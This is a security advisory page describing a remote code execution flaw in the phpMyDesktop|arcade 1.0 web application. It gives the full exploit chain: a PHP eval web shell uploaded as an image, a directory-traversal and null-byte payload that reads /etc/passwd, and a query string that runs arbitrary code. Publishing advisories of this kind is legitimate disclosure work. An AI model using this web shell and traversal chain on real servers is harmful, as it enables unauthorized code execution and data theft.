phpMyDesktop|arcade 1.0 FINAL Code Execution

2006-06-02 / 2006-06-03
Credit: darkgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

phpMyDesktop|arcade 1.0 FINAL Code Execution Exploit found-by: darkgod (darkgod.xsf (at) gmail (dot) com [email concealed]) links: criticalsecurity.NET, hackthissite.org, hacbloc.org video-@: http://dgod.dajoob.com/videos/phpmydesktoparcade.rar phpMyDesktop|arcade is a php-based 'bridge' between a game and message board. Its got a very nice interface, and many customiseable options. Unfortunately, it suffers from two [three.] vulnerabilities. 1. Images are not checked for validity. This may not be a vuln in itself -- because code won't execute inside images. But you could mess with Internet Explorer, which in some versions allow HTML inside of images. 2. GET variable 'subsite' not sanitized. todo=showsubsite&subsite=../../../../../../../../../../../etc/passwd%00 (example.) Now, how does this allow code execution, you ask? We upload our image with content of: <?php eval(stripslashes($_GET['code'])); ?> To upload, you must post in one of the blocks. It will NOT POST YOUR CONTENT. This is because it is trying first to create a thumbnail of your image, which is invalid, so it will bork. But the image still gets uploaded. So, now we use the second vulnerability. Firstly, we must get to the 'top' of the drive, and find our way back. Create an error with it first, so you can see the full path (let's say its /var/www/html/phpmydesktop1/.) So, in order to get our code, you must do: ../../../../../../../../var/www/html/phpmydesktop1/uploads/images/imagen ame.jpg%00 And assuming you uploaded what I said, the file query (in your addressbar) will look like: /phpmydesktop1/index.php?todo=showsubsite&subsite=../../../../../../../. ./var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00 And add a &code=print('h0n0r'); To execute any code you wish. dgod. Vulnerability Status: Over at pmd-arcade.sourceforge.net, their contact & support page is down, so I see no easy way of contacting them.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top